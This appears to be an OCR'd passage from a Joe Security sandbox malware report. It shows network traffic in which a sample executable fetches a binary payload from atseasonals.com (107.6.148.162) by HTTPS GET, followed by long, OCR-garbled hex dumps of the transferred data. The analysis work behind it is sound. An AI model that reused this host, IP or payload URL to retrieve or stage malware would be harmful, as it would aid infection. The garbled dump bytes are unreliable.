Data Ascii: _1yNIA%U{9-C~z\|N2IzN"3mgpnBvG_syavb_]Bhkl|;0s8r0:jzf_mZ3q/XAYW?#xdB(%S0mO0i*2MQIm=?V19<

2021-11-25 11:54:54 UTC 109 IN Data Raw: 6f 5d 45 95 9d 3b a9 46 1e a9 07 f0 80 ff 1a c7 4e 4d 60 f6 d3 24 ac 27 97 eb 78 €5 e4 a6 88 9b a3 fe 0a 74 Oe
3212 df 1c 3¢ 25 9¢ 0d 2f 91 02 62 3f c4 89 de 67 b4 4f 61 d8 7a 83 bl 61 55 39 2 4b €9 6d 26 98 ce 55 el 11 d3 32 0a
3d 68 6d c2 66 1b 83 d9 97 18 4e 47 56 ¢3 60 20 88 38 c2 f3 2e dc 30 4a 41 70 12 57 8b 03 ae 63 67 16 90 d4 ff a2 0a 98
d8 40 7d 17 e4 00 b6 c0 64 24 7c a8 16 dd 07 f1 21 cb 98 d6 27 39 3d a7 ec d0 07 2c eb ec 90 aa 8a 15 2e 68 5a 7f f1 9d
84 a6 31 df ee Ob 8b 7e be 3 e4 18 74 97 3f a2 a3 1d c8 16 63 da a7 49 8b 0a 4a 33 fa ff eb 53 3a 00 88 5f 82 3 3 29 fa
c7 ef 47 6¢ 78 5b e4 49 ea 16 1c 84 e2 89 05 a2 3e 18 1a ef 81 al 0f 5d 66 05 cd 9e €9 a7 39 ¢4 3a 1c be 6a b9 84 90 82
b3 2e 12 4f 3a 26 41 41 75 54 5d 38 69 c3 3e 92 18
Data Ascii: 0]E;FNM $xt2<%/b?g0azaU9Km&U2=hmfNGV" 8.0JApWcg@}d$|!'9=,.hz1~t2c1I3S:_?)GIX[I>]f9;.0:
&AAUT]SI>

2021-11-25 11:54:54 UTC 117 IN Data Raw: d7 10 b6 98 45 cc 3c 2d e9 70 9f 88 67 fe 72 93 45 00 1d c6 9b 03 23 12 a3 77 0d e2 5b ea 8b 15 f5 ba d5 3d
5c f6 4b d5 b4 61 9a 8b a9 6f 43 88 8a 8c 8b 8c 4b 9c 87 62 97 fc 66 9a €9 3a 8b 21 e2 b2 c7 2e 5d 99 66 5¢ 78 22 51 43
7554 53 ¢8 c8 23 b0 18 90 8e c2 88 20 f9 e7 07 96 0 6a df Oa d1 5¢c ee 31 e7 97 dd 65 b8 ea 5e 61 df 9c 7b 80 05 9b 3e
b2 ca 61 57 2f 53 80 be 77 ea 10 dd b4 a0 a3 80 50 1a 24 9d 43 72 21 01 d4 a0 34 b0 c1 91 5d 15 60 7e 61 38 93 3d 97
2b db fc 55 54 d7 87 a4 Oe b3 e3 73 cf 7b 28 b7 bd 77 aa bl 13 51 ac eb fd e0 fc 49 6f 15 ea 97 ba 9c b5 d5 66 5f 48 f4 93
02 76 00 bb 3f 08 2e 5¢ 21 56 17 23 56 €8 85 35 1c 3e 28 88 72 ¢7 3d d0 6d b3 23 00 73 36 17 c0 c9 fa c1 1f 5d 25 47 a2
a7 7e 30 58 b7 d5 2f 03 de 2c 4b 05 5d 85 a9 b9 63 36 fb
Data Ascii: E<-pgrE#w[=\KaoCKbf:L.]\x"QCuTS# j\le”a{>aW/SwP$Cr!4] ~a8=+UTs{(wQlof_Hv? \IV#V5>(r=m#s
6]%G~0X/,K]c6
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kBytes
Timestamp transferred

2021-11-25 11:54:54 UTC 125

2021-11-25 11:54:54 UTC 133

2021-11-25 11:54:54 UTC 140

2021-11-25 11:54:54 UTC 148

2021-11-25 11:54:54 UTC 156

Session ID Source IP

1 192.168.11.20
kBytes

Timestamp transferred

2021-11-2512:01:12 UTC 163

2021-11-2512:01:12 UTC 164

2021-11-25 12:01:12 UTC 164

2021-11-25 12:01:12 UTC 172

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49837

Direction
ouT

Data

Data Raw: 77 d8 7b 6b 2a 25 48 05 38 5e 9d dc f4 d5 3c 5d e0 6e e4 c8 68 e7 36 a5 16 5a 57 9b 93 9c Oc 60 78 8¢ 64 {7
4c 19 9e c8 33 5e 88 6e cf 74 36 3e 04 4f 09 ea ed c5 a0 59 b6 9e df dd 6e 38 70 0d 5¢ e9 b5 4b 39 d8 0d a4 54 49 21 d1
5c 77 d0 6¢ a6 50 75 c9 e3 e0 58 c7 6a 53 79 02 74 05 5a ae 8a d6 83 Oc 58 7a 6f c3 4a 54 bl aa 7c 6a 0f 22 66 7e da 93
al 94 3f 56 58 62 52 0b 69 bb 7a 3d fe bf a3 32 07 83 f0 9d b1 c9 a2 64 07 f7 ea 9b 79 6d d3 30 72 a2 49 17 2d e3 35 af
553 b4 aa e4 70 ed 05 8c f2 a5 de b7 08 77 56 fa 52 c¢8 9d d8 10 54 46 9e ec 20 66 3a al 4b 55 3f 11 a6 fd ca f1 2c cc a6
18 1b b6 02 21 ec f3 55 2b 67 16 d5 86 01 3b 2b 8a 92 86 c5 87 df 33 ce 8f 80 ef cf dd 67 9a 1c b9 12 3e ch a2 d2 53 e6
59 a9 4a 31 bf 19 18 a0 d3 d9 df 5e d1 42 b2 1e f3 e0

Data Ascii: w{k*%H8"<]nh6ZW xdL3"nt6>0Yn8p\KITIN\WIPuXjSytZXzoJT|j"f~?VXbRiz=2dymOrl-5UpwVRTF f:KU?,
1U+g;+3g>SYJ1"B

Data Raw: cb 25 e9 09 0a 08 6¢ 8d 8b 5b 75 bd f1 b1 f1 0d 75 87 30 c0 6a 79 ca 9a 11 96 39 85 12 83 5b ec cb c2 11 25
bf 7d 84 49 61 87 75 48 20 d3 77 54 80 6d 37 d6 21 5f f7 3a 47 51 af d0 51 81 fa 8a 4c 26 63 57 94 fd 3d 7 d7 e7 68 b1 73
f4 97 f4 f0 c4 79 dc 51 18 5¢ 96 56 23 ea 00 35 €3 40 c1 24 d2 f5 1f 01 93 ¢3 f7 73 79 10 02 14 7 8c dc 89 2c 3a a8 84 ad
05 81 69 03 54 95 e9 ca 86 f7 b0 f1 15 f7 7d 81 31 5b 95 bd 4d al 3e ad a4 0a e6 54 40 fb f9 20 09 aa a8 80 88 2a fa e5 Of
89 3a 3b 4a b9 ec cd bc e4 2e 6f 43 f4 1e ae 6d 18 75 46 3c a5 4f db 34 9c 46 8e ce 9b b1 93 43 fc eb f1 43 76 76 eb 4c
a0 b4 c5 7d 49 44 3b f3 22 61 46 c5 ac ed ca af ad b4 eb d0 ab 13 80 af 21 78 a0 df c5 1c 87 fc 15 80 eb 65 84 73 26 72
96 b3 fe 20 21 79 fd 60 2f 60 a9 6¢ ec f9 cf 4a

Data Ascii: %I[uu0jy9[%}lauH wTm7!_:GQQL&CW=hsyQ\V#5@$sy,:iT}1[M>T@ *:;J.oCmuF<O4FCCvvL}ID;"aF!xes&r
\AAIN]

Data Raw: 14 27 Ob 9e 3f 22 €9 el 4b d7 fd cc 2a a7 20 d8 27 4a 9c 34 2 fa 06 6b 51 fe e8 1e ef d9 65 5a 30 88 ae 98 ec
320 2b 3b f3 6b 7d 5e 83 15 29 c8 e7 62 72 4f 8¢ 26 85 aa fa cf 66 09 05 02 d1 12 ae 29 d8 86 31 29 1e 97 c9 89 c3 d7
06 9f 65 8f 3e c1 85 6¢ 36 fd 3c 3a 7e 39 a8 d8 ce 56 6a 11 ec 96 bb 06 9e 1f bc d1 08 55 d1 21 b0 f2 d2 e2 af 1c ad d9 fa
80 cc be 13 3¢ 63 f4 d9 29 6d 36 61 01 2a 29 84 0d 19 8f 4a 65 9a 08 8d 93 60 57 20 9a 19 ec 50 27 97 5c da 73 d2 4a 49
73 64 fa ee 91 c5 c2 e5 69 16 f4 3e 59 92 80 2c 94 20 8f 45 08 cb 2d 15 35 8f f3 4b 37 e6 65 cb bc 8e 2¢ d3 63 82 f4 81 74
54 03 3b 09 9d 85 4e da le a3 23 5a 54 72 7d 03 30 a8 bb 60 2e 83 4e dc 16 7d ef fe 6e 6d 33 b1 f0 al 64 a6 48 3b 4f 21
2b 9e 7f 39 4d c1 5a 3e 27 bd eb €3 29 c9 27 eb

Data Ascii: '?"K* 'J4kQeZ02+;k}*)brO&f)1)e>16<:~9VjU!<c)mba*)Je’W P'\sJIsdi>Y, E-5K7e,ctT;N#ZTr}0".N}nm3dH;O!+
IMZ>")

Data Raw: 7d ee 93 7c c8 a7 54 e9 el 5f 44 d4 7b 12 05 02 53 9a 24 be 8f ee 28 6e 94 04 0Ob e3 80 fc 64 b6 94 90 4d c1
ch 50 70 5b Oc e3 da 4d 13 12 79 c9 d5 39 2c ba 06 19 fa 4f 70 ca 7f cc dd 3d 43 10 1c 4a 6b 80 dd b6 b9 3c e5 4f 38 8b
8b af 80 fd 32 8e 5¢ 66 €9 be 8e 5¢ da 58 ce Oc €9 al 5d fe de 19 6d 15 ec 43 35 6 8f b6 5d 29 e9 ab ed 8e 13 13 01 6¢
c1 b6 66 7e 9e d8 ea 93 9e 56 cb 42 90 99 98 79 ca cb d1 d6 aa 89 d0 d6 81 1c 74 cd 82 e0 6b 93 48 f2 0f 9c c2 fb ee f8
ca 1b 76 60 c2 ae ab 9b 5d 07 1d cd 6d 03 39 4b 02 c2 06 5e fa €6 d2 57 5d 95 38 2c aa 8d 0f 9b a8 dd 19 c5 52 b3 1f ad
b5 02 25 ab 37 36 60 25 b8 cc cd 2¢ 39 71 €8 86 57 cc 8d 44 ea 3e 87 9f 5b 0a 60 8b 99 66 aa b4 52 b4 91 ca 69 c7 29 63
93 e4 9e Oc c0 ee 48 c3 41 2a 4b d5 ff 09 33 8b 8f 7e 30

Data Ascii: }|T_D{S$(ndMPp[My9,0p=CJIk<082\\X]mC5))If~VBytkHv Im9IK"W]8,R%76 %,9qWD>[ fRi)cHA*K3~0

Data Raw: 07 13 23 bb 38 ¢9 12 7e 8f ba c8 7b 28 f2 25 a6 €8 69 ac ac 9a dd 8f 1d a9 13 57 58 58 e8 63 34 d0 83 66 01
0d 00 6¢ 4b 59 dd 90 91 dd 19 42 76 7f e8 78 a2 04 fb 83 63 bd 05 c7 d2 Oe el d9 00 60 8a 34 73 c8 78 3e 5b e7 3e a3 9d
ed 5b 1a 06 fO 9f 51 fa 44 a4 95 ae 99 79 2 2b 5¢ 9f c0 c4 5b 64 al 76 e2 26 98 54 b0 67 60 f8 9b a2 b3 6a 1d d4 ac 87
32354 da 1b 70 52 ¢3 09 51 1c 05 4a 39 37 8¢ 1e d5 98 4a dd 10 04 06 Oe ab c0 ec de 54 c1 e5 4b e3 9f a9 b5 33 Ob 6d
03 3b ea 64 49 al 8a c4 0d 1b d3 59 41 4a 0d 86 49 38 72 c8 ca cd 5f cf Oc 86 70 a9 fc {7 09 35 bl a9 71 42 c4 37 f4 b8 4f
18 f7 22 b0 e9 62 6e b5 c8 df 7e 73 f2 93 ab 94 f2 9e 37 6b 95 f3 05 3d 96 36 a0 97 a6 db a5 95 e4 a7 7e 3a €0 e6 ed 80
3b 17 16 ed fc ab d1 bc 64 ff 41 fb eb 91 c1 8e 6f f4

Data Ascii: #8~{(%iWXXc4fIKYBvxc 4sx>[>[QDy+\[dv&Tg'j2TpRQJII7ITK3m;dIYAJI8r_p5qB70"bn~s7k=6~:;dAo

Destination IP  Destination Port Process
107.6.148.162 443 C:\Users\user\Desktop\Zr26f1rL6r.exe

Data

GET /GHirtt/bin_kbJoepxz175.bin HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: atseasonals.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 25 Nov 2021 12:01:12 GMT

Server: Apache

Last-Modified: Wed, 24 Nov 2021 12:20:38 GMT
Accept-Ranges: bytes

Content-Length: 167488

Connection: close

Content-Type: application/octet-stream

Data Raw: 70 99 d0 d2 81 fc a4 8c 6e ba 05 d0 4f 67 65 7f 4e 1e 4a f3 03 49 ab 4d 8 3b 67 96 a3 b5 f7 07 46 d9 a0 8b 7f
32 0c 43 a2 5a 42 b2 12 de b0 f4 94 d3 dc 46 6¢ cf 8e 15 59 63 2a 6b 99 39 71 c3 a8 94 6¢ 4a 84 13 81 5d 6a le 54 51 46
ba f1 ed d4 08 cO 6b 8d b8 64 71 ec 91 c¢7 1a 01 6d 7f 49 a6 3a 51 3c d1 ca Oc 98 4f 06 47 24 6b ec 56 9c d7 39 29 7f 90 8
10 2b ff c6 eb 49 87 e7 e0 70 77 €6 54 c0 aa 3 4b 59 89 c0 66 fa 8f 90 47 e4 0a 64 47 b5 d4 b5 71 92 58 65 b7 82 12 15
37 dd 6f c2 ec 2e 2b df 1d cf 2c 5e 7a d8 f2 d7 16 ec 09 81 e5 9d 39 0d e2 1d d4 71 ba ff de 2e 9b 03 5e 74 c4 af 5¢ 6d 82
2a 3afb 21 10 13 c5 ce 56 69 4f 4e 29 b7 4f 90 af €9 9a cd 2d 39 69 e5 2b 66 10 5b b4 5e 9d e0 b1 b1 c0 09 52 76 c0 87
3399 a3 bb ca 51 43 75 54 5b 4e a0 ab 74 91 19

Data Ascii: pnOgeNJIM;gF2CZBFIYc*k9qlJ]iTQFkdgmI:Q<OG$kV9)+IpwTKYfGdGgXe70.+,"29q. t\m*:!IVION)O-9i+f
["Rv3QCuUT[Nt

Data Raw: 8e bc 4e ec 48 d6 a2 16 02 23 e6 e8 1f c6 a2 f1 87 bf bc dc f2 e5 1d 71 93 43 e5 f8 66 89 73 ea 07 49 9d 46 cf
62 29 04 b0 e9 ff 10 16 06 87 4d 38 5b 62 65 fc dc 00 5 ba 79 ad 56 32 fd 03 8f fb 4b a3 5d d9 ce 81 4a 9e 3d 17 f4 d2 al
c7 87 3d fd 91 4b 9a 13 dd 39 3b e3 ¢6 4f 06 1c 79 d3 83 26 00 53 1b 67 5¢ 44 5b d7 c5 62 93 8e 6f 5e 54 c7 c¢8 d9 a6 d5
ad 5a 6e da 10 69 c7 77 c2 68 d5 bl 0a 47 90 e0 8d 6a c4 32 66 27 47 62 84 7f 3d 22 1c 03 85 6¢ ab 59 45 eb 4f 70 ed 38
f2 31 d8 5d 7f 7 6a d4 8d €0 3d 2c 94 bd bd 34 7c 13 68 7f d2 e5 fe ¢7 04 85 50 1c bd 6 f8 38 d0 29 78 5b 26 a9 d3 c5 eb
01 5f 8a aa 88 23 3f 9d Oe a8 06 f9 96 8b 3e 21 23 9c 5b 82 da cd 2b 99 a0 fe 37 cb c6 17 31 d1 3e 34 39 7e 3f 48 2b bc
1099 e2 7e 1d 53 6¢ €7 67 00 b8 4c cb 8f 35 3¢

Data Ascii: NH#qCfsIFb)M8[beyV2K]J==K9;0y&Sg\D[bo TZniwhGj2f Gb="IYEOp8L1]j=,4|hP8)x[& #?>I#[+71>49~?
H+~SIgL5<
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kBytes
Timestamp transferred Direction Data

2021-11-25 12:01:12 UTC 179 IN Data Raw: 17 ca c7 b5 b0 fd 86 d4 50 e2 18 b0 be fc 2c 30 5c 16 11 88 54 5e c2 28 df 35 9a e5 69 10 10 31 89 2f e6 ff 54
6f a8 c6 95 52 74 48 ¢3 55 81 2d a3 39 d4 90 8c de 8f ac 70 eb dO 5¢ 9a b4 cb c6 df e5 6e 92 bb e0 07 43 df 69 24 b6 a3 ff
52 4d 29 ca 8f 99 4e 68 fd 8d 02 21 f9 01 4f dO 8 f4 b2 d7 01 9e 4f 32 70 2f 03 53 61 cf 97 3d 62 d8 cb 03 51 97 a7 1f fa
e3 e0 00 ae 92 Oe 09 13 96 7e 52 65 3e 2c 36 85 a9 5f 75 e6 c6 6b 89 ¢3 66 55 25 98 6d c9 f0 bf 96 47 05 9a 61 2d 1b 23
3c d2 96 92 82 cd d6 ba 3e e6 4b 58 a5 48 1a 87 7a 4e a4 al b0 2f c4 55 d6 16 76 a6 7e 33 3e 12 d9 fe 29 5¢ 1b e6 13 d5
acal ad c2 77 9a 02 73 8b ad 40 f6 2c 55 64 27 90 b5 a5 e4 a9 df 87 eb b3 1f Oe 25 al 6a 1c 00 e9 16 al dc 22 2a cc fc
49 cb 9d 4b 61 fc 33 db 5f 43 37 03 ¢7 17 86 ac
Data Ascii: P,0\TA(5i1/ToRtHU-9p\nCi$RM)Nh!OO2p/Sa=bQ~Re>,6_ukfU%mGa-#<>KXHzN/Uv~3>)\ws@,Ud'%j"*IKa3

Cc7

2021-11-25 12:01:12 UTC 187 IN Data Raw: 5e 04 43 a7 80 c5 2e bc ac 30 1b fd 04 75 d2 7b c3 ff 8f b3 94 45 75 96 b0 c1 Oe c5 b4 fe 2¢c bl ea f1 19 bc 38
04 74 40 f6 58 cf 71 0f 1d 37 59 d4 56 20 d6 3b Ob 08 06 2b 25 af 1c e8 5d 25 2b a9 a9 84 c0 fc 5¢ 15 9e 07 91 73 db 7e
b9 86 27 ec 6f ef 41 31 47 63 86 4f b4 d0 c0 7e 85 7f 34 15 92 9b a9 64 70 cc de 9f a5 6e db 3f e8 ec 35 9e a0 26 0f 59 b8
24 95 fd 58 9f 6f 6a 5 01 85 0a Ob 08 6a €0 61 43 7d 0a 70 5d d7 d5 19 95 5a d5 8c f0 37 72 50 a0 cc 8 47 f9 ef af €9 4c
94 65 65 81 fa 5¢ 37 a8 ch a6 7c dd a5 58 79 el 91 0a 47 af 03 bc cf 03 e8 4d d6 93 39 65 e6 7b 6a fb 85 bc aa 46 76 d9
b3 d3 9e 04 54 9e 7f e3 4f 52 87 33 b9 08 2f a0 02 a8 b2 21 6e 07 d1 3a 84 8d 7a 08 c8 80 91 23 98 Ob ch b7 03 07 3e 34
a9 c8c4 db f6 7c 5d 81 f9 6a 58 32 78 f5 85 ae
Data Ascii: *C.0u{Eu,8t@Xq7YV ;+%)]%+\s~'0A1GcO~4dpn?5&Y$X0jjaC}p]Z7rPGLee\7|XyGM9e{jFvTOR3/In:z#>4|]jX2x

2021-11-25 12:01:12 UTC 195 IN Data Raw: 10 24 €9 36 49 4b 33 3f ba 8b 32 30 9e 48 46 3e 28 7 ce ¢7 f9 03 dO cO 2b f2 4b 41 2c 3a 96 8e 46 0d 63 2d
d7 Ob 4e d7 ba ef b6 ec 68 3b e0 4e de 91 bd dc 1b d2 04 7c cO 14 44 a9 bf 32 ea 46 fa 70 92 bb e4 c5 95 17 c9 a0 2b Oa
81 c4 0d 82 88 14 16 3b 92 db 30 ¢5 f8 f6 f5 b3 c6 8¢ ba b6 c4 91 6a 02 82 a5 9b 20 f9 72 f0 00 6f 46 3d 6¢ 9b fO 19 de 6a
192392 bb Ob fb 12 49 d8 d1 4e 31 fa ca 64 ef 07 91 de 08 9e fO 1b c4 57 59 a7 89 e0 ea d6 40 3c d5 le d7 ea 6e cO f1
67 de c3 ef c4 80 61 ac 13 a5 fa 22 90 53 e0 43 11 ec c3 €9 c4 f0 78 10 cd eb 15 6¢ 89 de e4 fe daOc 85 al 7c el ec 18
42 b4 26 ea ea 93 ec 02 99 62 cb 42 0d b1 ce c6 06 10 35 4b 6b dc 91 88 92 c5 92 42 60 e4 07 80 b6 f6 b7 dc 88 2f 35 f3
c9 a7 ca 6e 25 6b 6f 92 8c 5a ac 9d 81 6f 70 42 41 83
Data Ascii: $61K3?20HF>(+KA,:Fc-Nh;N|D2Fp+;0j roF=lj#IN1dWY @<nga"SCxl|B&bB5KkB'/5n%koZopBA

2021-11-2512:01:12 UTC 203 IN Data Raw: 8¢ e2 92 21 9f f8 12 80 71 84 bb 0d 80 91 03 cc 26 88 73 33 ec 1la dd b9 91 14 4c 37 25 ba 25 7e ef 29 al 28
6c c5 3d bb 07 44 cd e3 18 34 78 b9 e8 f0 f3 88 4f d4 cb 68 a4 fc 81 7b 7d 01 17 38 a3 f9 03 2f 47 85 af 26 €8 15 78 €9 d3
8a 28 94 95 Oc e9 77 8b c1 d0 0f 3b 94 07 9b 6d 7a 2e ca fa ce 04 90 40 1e 60 b7 42 32 d7 88 60 d7 01 4c a0 5e cd 95 16
83 cle519 71 d4 ff ef b3 dc a3 40 aa 69 al 87 79 10 75 a2 d9 ¢6 08 60 bc 69 b4 13 01 ef 9c b6 75 ea 17 ed 29 9a 03 a0
d6 eb b7 a5 Oc 5a 64 5¢ a2 2b d3 cf 9f 5¢ 5e ac 0a d6 34 49 a4 4a a2 c7 83 ee 75 86 ae c1 67 cf 6f ca 3f Oe 9e b0 f9 e3 f9
e7 7fb7 97 3e 5b 8a a2 bb 41 14 53 f6 90 07 8e 60 df Oa f8 18 77 4c 6a 8f 8b 69 1f c7 08 6d cc 53 12 bf 2b bl e2 4a c4 a6
d7 50 59 f2 5d 9c 2a 68 71 21 fd da 71 20 5c 63
Data Ascii: 10&s3L7%%~)(I=D4xOh{}8/G&x(w;mz.@ B2’ L q@iyu’iu)Zd\+\*41Jugo?>[AS wLjimS+JPY]*hq!q \c

2021-11-25 12:01:12 UTC 211 IN Data Raw: 77 74 a8 2a 4b e2 06 58 96 8d ca 8d 97 65 ff 91 4b 09 4b d8 7f 8a 8e 9a b1l 7a 27 ad e7 be Oa c7 2a 84 66 f3
ed 22 14 a0 8a ab 86 86 a0 57 c7 6f 49 8f 15 82 df 06 4e ee 1b 5c 2f df ae ed cb Oc b3 38 49 dc d3 b9 ea 5e c8 37 11 ee
80 f9 3c 02 88 cf ac d7 f7 ec fc a8 71 ea 2c b6 70 94 26 40 07 5d ce 15 cb fa 24 65 43 be 34 b0 53 91 40 fd 60 7e 3a 3b 2a
60 f3 8c 2f 3f bd d9 42 87 58 a9 8f 58 3c c4 93 32 74 55 f4 6e al 4c bl 6e 83 75 68 2a 4a 63 ea cb 02 48 d2 d8 d5 9a a0
b7 fc 06 03 1a 56 ba 3f 46 4b 5¢c dd a9 e8 2a 7d df fb 81 e2 7b b7 60 72 c¢7 5b 59 al 35 ca e0 7f 37 65 86 21 06 3e €0 0d
95 41 ac 28 fe 43 2b 31 3d d3 fc 21 7d 45 2e f3 dO cb b9 1f 31 33 22 df 1d 92 al fe 51 3d dd d7 2a 99 ee d0 7d 36 26 61
80 a9 c0 3 18 39 8e 12 f9 c0 d1 a8 15 3d 5f 2f c9 82
Data Ascii: wt*KXeKKz*f"WoINV8I"7<q,p&@]$eC4S@ ~:;*'/?BXX<2tUnLnuh*JcHV?FK\*}{"r[Y57e!>A(C+1=I}E.1
3"Q=*}6&a9%=_/

2021-11-2512:01:12 UTC 218 IN Data Raw: 93 f7 95 01 1c e9 c¢9 90 db 44 18 c7 57 d0 65 23 22 c6 e3 c8 €8 80 e5 ee 48 59 19 8 44 3f 5a 75 8b ab f1 fd 5b
06 57 6a 17 2d b3 e0 72 42 be f5 13 a7 75 1a 9a c1 ad fe 4f cd 14 9e 03 2b 88 7c 5¢ 2d de ce 87 bc 11 6a 59 ba 4d fb c2
82 cd 64 f5 a3 d0 35 13 1f 03 48 7d 4f Ob ae 21 9c 2e 3f af ea b2 ed b3 c9 a7 85 bf 28 3a d8 92 a5 97 {7 58 6e 54 5d 55 59
b9 ¢8 70 61 b3 ¢5 12 1d 94 99 4b Oe 46 70 95 fa 71 be 7a 19 bc 37 de 26 a5 ab 9b 17 51 14 dd 66 56 fe Ob e3 d4 a9 5b fb
d2 71 2a 86 9d 04 9d 71 a0 dc f7 dd 00 fe b7 47 c8 ef 63 22 56 3c ¢7 bd ¢8 38 c9 13 86 fc 3d f0 20 87 af 9f 46 1e bd bf 5e
a8 85 3e 73 78 06 b5 45 c5 62 eb 73 8f eb ec e4 1d 01 2e 4d 1c 89 c4 3d 54 c8 fe f1 95 7c Ob c4 4a 71 37 0 19 d0 dd ba
8d e7 1d bd fb 49 18 0f 47 81 bc 97 af b3 93 75
Data Ascii: DWe#"HYD?Zu[Wj-rBuO+|\-}YMd5H}O!.?(:XnT]UYpaKFpqz7&QfV[q*qGc"V<8= F >sxEbs.M=T|Jq7IGu

2021-11-25 12:01:12 UTC 226 IN Data Raw: c0 96 49 cd 9d e3 59 af 89 f3 bf ba ca 96 50 ca eb d6 6b 0f df e2 39 al bb el 71 2e dc 70 7c b3 fe b1 3d 5a dc
17 19 2b c5 8d eb ec 96 69 78 a3 1f 61 30 c4 3d f9 58 2a 3d 95 1a 3b 1d 02 8e c¢8 9c 35 3b 7e 33 01 91 2c 2a 2a e7 1e Of
cd 58 3e c2 7d c3 1e be 57 d0 1f 43 a8 e9 b1 el 65 65 8f aa 09 4a 95 40 0a 95 59 2c 47 21 76 34 1d 92 67 77 b4 2e 95 22
53 5b 16 a9 33 38 85 97 9e ad c7 bd cf 33 ae fe 8a e3 4d 65 3b a0 e3 f1 b3 28 45 95 ae 00 8d 57 13 4d a2 aa 7 81 51 61
d0 3a 4f 10 b9 23 68 07 29 52 ac 1b 34 1a 61 05 ca c5 07 d4 3b 5¢ 3e 99 97 0f cd 2b b8 2b 47 dc 01 59 73 a3 f9 e5 7c 3f
1b 4f 39 e3 d8 ea el 2b 3d 52 83 5 59 7 1d 9b 93 18 ea 77 43 8¢ 82 Oe dd 90 bb 77 55 02 41 de 8a Of f8 Oc 72 5a 48 d7
a8 76 d4 12 f4 7a 30 Oe 5a 2a c4 bb ed d6 7e f9 92 16
Data Ascii: IYPk9q.p|=Z+ixa0=X*=;5;~3,**X>}WCeeJ@Y,G!v4gw."S[383Me;(EWMQa:O#h)R4a;\>++GYs|?09+=RYwCw
UArZHvz0Z*~

2021-11-2512:01:12 UTC 234 IN Data Raw: d9 61 6f 9a cO da 28 6c¢ Oe 3e cf 1c Of cd cO 4e 75 e2 54 1f 7d 92 f6 a6 e5 a7 f5 96 5f 8a 39 27 ba 8a b0 99 c5
€0 6f f7 4e fa 16 01 e5 46 de 9b 99 66 19 le 4a 44 f4 f9 58 fd a9 f2 38 3b 90 ca df 9e bb d7 ce 69 bc 3d fb dc 3c 66 a3 83
fc 36 c4 d7 df 90 46 f9 ed 98 c1 19 e5 92 ef 07 e3 d5 a0 c6 9e Oc 9f al f3 01 b6 26 8a dc 6e 40 af d8 f1 6a f2 6f 49 47 4d
9a 61 a8 50 68 a6 5e 83 bl ea 10 ba 8f 83 79 f0 48 37 81 5d 3a 2c d7 d3 4f 62 6f 86 cc 10 4b 6b e4 46 6a 3c 85 6d 30 la
8a fd 2e cO el 22 97 b9 91 35 3 67 4f ee €9 a3 6b ec db 09 97 c6 d6 80 fa 8d 42 c3 7f 55 eb 49 b2 62 a0 8f 86 06 be 98
42 d4 c3 6b 57 f3 bf 35 86 89 96 57 6¢ 93 €6 ¢5 a6 da 7e 9a b0 78 d2 8b 73 11 59 el 4d 0a 08 6f Ob ad 00 15 c0 e5 05 92
b6 f2 45 9f 32 67 c6 e4 ff 73 cb 17 f0 19 02 7d
Data Ascii: ao(I>NuT}_9'0NFfIDX8;i=<f6F&n@jolGMaPh"yH7]:,0boKkFj<m0."5gOkBUIbBKW5WI~xsYMoE2gs}

2021-11-25 12:01:12 UTC 242 IN Data Raw: 9f 4f 06 44 ed 3a 67 59 cc 84 6b 7b 2d c1 d9 f8 20 b1 c6 eb c2 28 b5 b6 fb al 11 3e 80 aa 47 c1 50 98 fd bc ce
de 3295 60 64 17 67 4e eb 32 49 be b4 Oc d6 ba f8 9e 04 71 98 1b 82 3e 4a 26 25 b9 37 fd 1b 7c cf 67 ba 33 36 67 d4 00
9a 55 17 45 a0 fa bd 7e 1f f2 d7 03 23 43 a8 de 65 00 d3 08 03 ac 26 b0 2c 8c 9f 1e c0 da e5 37 2a 35 8f e7 ch 8b 47 8d
80 aa 84 3c 1ladl 1c 19 3b 59 32 00 ee a6 ee Ob 4e c7 d6 f8 60 ad b4 4e 79 42 75 54 88 f2 ab de 03 1b 96 83 4b 6a df 54
a9 aa 6e b0 el 59 b2 15 34 66 8 e4 10 64 a7 08 47 f3 f3 61 15 2e 78 ed a5 b0 da 42 62 ¢8 5 ec fc 71 ¢6 15 d3 b6 70 90
fc de b0 d8 4c 15 cb al 22 0d 1e 81 48 b6 16 Oc 62 9e ee 76 33 fb 7a 62 30 2c a9 7a 45 06 87 Oc 22 52 7a Oa 6¢ 7d d4 5¢
7b 06 25 f8 e3 42 5f 87 a5 38 68 74 4a 91 e5 5e e3 9d
Data Ascii: OD:gYk{- (>GP: dgN21q>J&%7|g36gUE~#Ce&,7*5G<;Y2N NyBuTKjTnY4fdGa.xBbgpL"Hbv3zb0,zE"RzI}\
{%B_8htJ"

2021-11-25 12:01:12 UTC 250 IN Data Raw: bf 18 09 42 e2 32 a7 Oc 30 08 90 55 a3 2b b9 b8 84 1b 45 41 c0 82 0d f4 a3 b8 a8 al ae bf 2b 47 44 a8 2c 5b
84 87 82 7f c9 9b 6b 1f 6d 0d b8 2e 97 55 5e a3 b2 Oe 82 ab fc 9e 64 d2 e3 db 86 9e 55 b0 a9 d1 f2 bb 97 b6 96 fa 25 c7
54 b7 c9 14 13 bd 1a af 9d 05 6a aa a7 80 ec cb a8 16 a0 38 10 e8 a8 69 ce d4 d1 a9 3f 51 Ob 5a 61 5 31 26 {6 f7 {7 5b
80 8e be bc fb 2f 27 9a 5b da 49 41 39 43 cd ac 92 7a 02 0f 2b d8 c9 56 b9 b8 cf 20 50 fb 06 c6 18 70 c4 62 b4 de 90 85
2b 5f e3 7d e5 8a 74 3e 54 ff 48 54 54 be b8 3b 55 €8 b3 16 07 4a 4b ff 86 83 6a 3d 2b c7 d1 3a ff 68 e3 f2 7c ee 76 ae 25
a6 a4 93 50 16 ff 63 44 28 38 44 cb 23 44 7e be Oe 8c al 9e 33 02 54 7b ba 5d 74 3d Oe c7 eb 9c 51 cc db 9e 55 ea 2 fa
73 ¢5 2e 92 50 b4 6¢ 89 16 ¢5 98 1b 85 5a 11 b1 98 fc
Data Ascii: B20U+EA+GD,[km.UrdU%T|8i?QZal&[/[IA9Cz+V Ppb+_}>THTT;UJKj=+:h|v%PcD(8D#D~3T{]t=QUs.PIZ
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kBytes

Timestamp transferred Direction
2021-11-25 12:01:12 UTC 258 IN
2021-11-25 12:01:12 UTC 265 IN
2021-11-25 12:01:12 UTC 273 IN
